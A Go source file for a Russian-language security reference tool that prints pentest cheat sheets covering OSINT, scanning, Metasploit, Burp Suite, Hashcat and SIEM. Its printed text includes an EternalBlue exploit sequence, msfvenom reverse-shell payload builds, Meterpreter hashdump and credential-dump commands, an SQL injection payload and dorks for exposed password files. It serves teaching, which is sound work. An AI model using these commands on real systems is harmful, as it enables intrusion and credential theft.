package infosecmodules

import (
	"rubric/utils"
)

var ToolsModule = Module{
	Key:         "tools",
	Aliases:     []string{"t", "pentest", "инструменты"},
	Title:       "Инструменты безопасности",
	Description: "nmap, Metasploit, Burp Suite, Wireshark, Hashcat, инструменты OSINT",
	Run:         showTools,
}

func showTools() {
	utils.Header("InfoSec — Инструменты безопасности")

	utils.Section("Разведка и OSINT")
	utils.Code(`OSINT (Open Source Intelligence) — разведка из открытых источников.

# whois — информация о домене:
whois example.com
whois 1.2.3.4

# DNS разведка:
dig example.com ANY
dig +short MX example.com
dig +short TXT example.com           # SPF, DKIM, DMARC
dig +trace example.com               # полный путь разрешения
nslookup example.com 8.8.8.8

# Субдомены:
subfinder -d example.com -o subdomains.txt
amass enum -d example.com
dnsx -l subdomains.txt               # проверить живые

# Сертификаты → субдомены:
# https://crt.sh/?q=%.example.com
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
  jq -r '.[].name_value' | sort -u

# theHarvester — email, имена, субдомены:
theHarvester -d example.com -b google,bing,shodan

# Shodan — поисковик по устройствам:
# https://www.shodan.io
# CLI: pip install shodan
shodan search "apache country:RU"
shodan host 1.2.3.4

# Google dorks (Google Hacking):
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
"@example.com" filetype:xls
"password" site:example.com filetype:txt`)

	utils.Section("Сканирование и перечисление")
	utils.Code(`# nmap (подробнее в InfoSec → netsec):
nmap -sV -sC -A -p- target.com -oA full_scan

# gobuster — перебор директорий и файлов:
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://target.com -w wordlist.txt -x php,html,js -t 50
gobuster dns -d target.com -w subdomains.txt

# feroxbuster — рекурсивный перебор:
feroxbuster -u https://target.com -w wordlist.txt --depth 3

# ffuf — быстрый fuzzer:
ffuf -u https://target.com/FUZZ -w wordlist.txt
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt
ffuf -u https://target.com/login -X POST \
     -d "user=FUZZ&pass=password" -w usernames.txt

# nikto — сканер веб-уязвимостей:
nikto -h https://target.com
nikto -h target.com -port 8443 -ssl

# enum4linux-ng — перечисление Windows/Samba:
enum4linux-ng -A target.com

# crackmapexec — swiss army knife для AD:
crackmapexec smb 192.168.1.0/24
crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt`)

	utils.Section("Metasploit Framework")
	utils.Code(`Metasploit — платформа для разработки и запуска эксплойтов.

# Запуск:
msfconsole
msfconsole -q    # без баннера

# Основные команды:
search ms17-010           # поиск модуля (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue
info                      # информация о модуле
show options              # параметры
show payloads             # доступные пейлоады
set RHOSTS 192.168.1.10   # цель
set LHOST 192.168.1.20    # наш IP
set payload windows/x64/meterpreter/reverse_tcp
check                     # проверить уязвимость без эксплуатации
run / exploit             # запустить

# Meterpreter — расширенный пейлоад:
sysinfo                   # информация о системе
getuid                    # текущий пользователь
getsystem                 # повышение привилегий
hashdump                  # дамп хэшей паролей
shell                     # системный shell
upload /path/file C:\\    # загрузить файл
download C:\\file.txt     # скачать файл
ps                        # список процессов
migrate 1234              # мигрировать в процесс
portfwd add -l 3306 -r 127.0.0.1 -p 3306  # port forwarding
load kiwi && creds_all    # Mimikatz (дамп credentials)

# msfvenom — генератор пейлоадов:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.20 LPORT=4444 -f exe -o payload.exe

msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.20 LPORT=4444 -f elf -o payload

# Auxiliary модули:
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/brute/http/http_login`)

	utils.Section("Burp Suite — тестирование веб-приложений")
	utils.Code(`Burp Suite — платформа для ручного и автоматического тестирования веб.

Основные инструменты:
  Proxy      — перехват и изменение HTTP/HTTPS трафика
  Repeater   — повторная отправка запросов с изменениями
  Intruder   — автоматизированные атаки (brute force, fuzzing)
  Scanner    — автоматическое сканирование уязвимостей (Pro)
  Decoder    — кодирование/декодирование (Base64, URL, HTML)
  Comparer   — сравнение ответов
  Sequencer  — анализ случайности токенов

# Настройка прокси:
# Browser → Proxy 127.0.0.1:8080 → Burp → Target
# Установить Burp CA certificate в браузер для HTTPS

# Основной workflow:
1. Настроить браузер на прокси
2. Interceptor: On — перехватывать запросы
3. Исследовать приложение
4. Отправлять интересные запросы в Repeater
5. Изменять параметры, проверять реакцию
6. Атаки Intruder для перебора

# Расширения (BApp Store):
Active Scan++ — дополнительные проверки
JWT Editor    — работа с JWT токенами
Logger++      — расширенное логирование
Param Miner   — поиск скрытых параметров

# curl как замена для простых тестов:
curl -v -X POST https://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":"'"'"' OR 1=1 --"}'`)

	utils.Section("Взлом паролей — Hashcat и John")
	utils.Code(`# Hashcat — GPU-ускоренный взломщик хэшей:
hashcat --example-hashes | grep -A 1 "MODE: 0"  # примеры хэшей

# Основные режимы атаки:
# -a 0: Straight (словарь)
# -a 1: Combination (два словаря)
# -a 3: Brute-force (маски)
# -a 6: Hybrid (словарь + маска)

# Типы хэшей (-m):
# 0    — MD5
# 1000 — NTLM
# 1800 — sha512crypt (Linux /etc/shadow)
# 3200 — bcrypt
# 13100 — Kerberos TGS-REP

# Атаки:
# Словарная атака:
hashcat -m 1000 hashes.txt rockyou.txt

# Brute-force с маской:
hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?d?d  # 4 буквы + 2 цифры
# Маски: ?l=lower ?u=upper ?d=digit ?s=special ?a=all

# Комбо: словарь + правила:
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# John the Ripper — классика:
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
john --show hashes.txt

# Словари:
# rockyou.txt — 14 млн паролей из утечки
# SecLists/Passwords — коллекция словарей
# CrackStation — 1.5 млрд паролей`)

	utils.Section("Инструменты для CTF и пентеста")
	utils.Code(`Стеганография:
  steghide    — скрытие данных в изображениях
  binwalk     — анализ бинарных файлов (embedded files)
  exiftool    — метаданные файлов
  strings     — строки в бинарных файлах
  xxd         — hex dump

Форензика:
  volatility  — анализ дампов памяти
  autopsy / sleuthkit — форензика дисков
  Wireshark   — анализ сетевого трафика
  foremost    — восстановление файлов

Web:
  sqlmap      — автоматический SQL injection
    sqlmap -u "https://target.com/page?id=1" --dbs
    sqlmap -u "https://target.com/page?id=1" -D mydb --tables
  
  wfuzz       — fuzzer (альтернатива ffuf)
  XSStrike    — анализ XSS
  Commix      — command injection

Reverse Engineering:
  Ghidra      — бесплатный дизассемблер (NSA)
  IDA Pro     — коммерческий, стандарт индустрии
  radare2     — open source framework
  pwndbg      — расширение GDB для exploit development

Privilege Escalation (Linux):
  LinPEAS     — автоматический поиск векторов
  linux-exploit-suggester — предложения эксплойтов
  pspy        — мониторинг процессов без root

Privilege Escalation (Windows):
  WinPEAS     — автоматический поиск
  PowerSploit — PowerShell для пентеста
  BloodHound  — граф атак в Active Directory

Полезные дистрибутивы:
  Kali Linux  — стандарт для пентеста
  Parrot OS   — лёгкий, для форензики и пентеста
  BlackArch   — Arch-based, огромный репозиторий`)

	utils.Section("SIEM и Threat Hunting")
	utils.Code(`SIEM (Security Information and Event Management):
  Централизованный сбор, корреляция и анализ событий безопасности.
  
  Splunk      — коммерческий, мощный
  Elastic SIEM (ELK) — Elasticsearch + Kibana
  Microsoft Sentinel — облачный SIEM (Azure)
  IBM QRadar  — корпоративный
  Graylog     — open source

MITRE ATT&CK Framework:
  Матрица тактик и техник, используемых атакующими.
  https://attack.mitre.org
  
  Тактики (Tactics): Reconnaissance → Initial Access → Execution → 
    Persistence → Privilege Escalation → Defense Evasion →
    Credential Access → Discovery → Lateral Movement → Collection →
    Command and Control → Exfiltration → Impact

Threat Hunting — проактивный поиск угроз:
  Hypothesis-based: "а вдруг у нас есть Cobalt Strike?"
  IOC-based: по индикаторам компрометации (IP, домены, хэши)
  
  Источники IOC:
    VirusTotal, Shodan, AlienVault OTX
    Threat Intelligence платформы (MISP, OpenCTI)
    Vendor feeds (Mandiant, CrowdStrike)

Incident Response (IR):
  1. Preparation   — подготовка (playbooks, инструменты)
  2. Identification — обнаружение инцидента
  3. Containment   — локализация
  4. Eradication   — устранение
  5. Recovery      — восстановление
  6. Lessons Learned — разбор полётов`)

	utils.Footer()
}
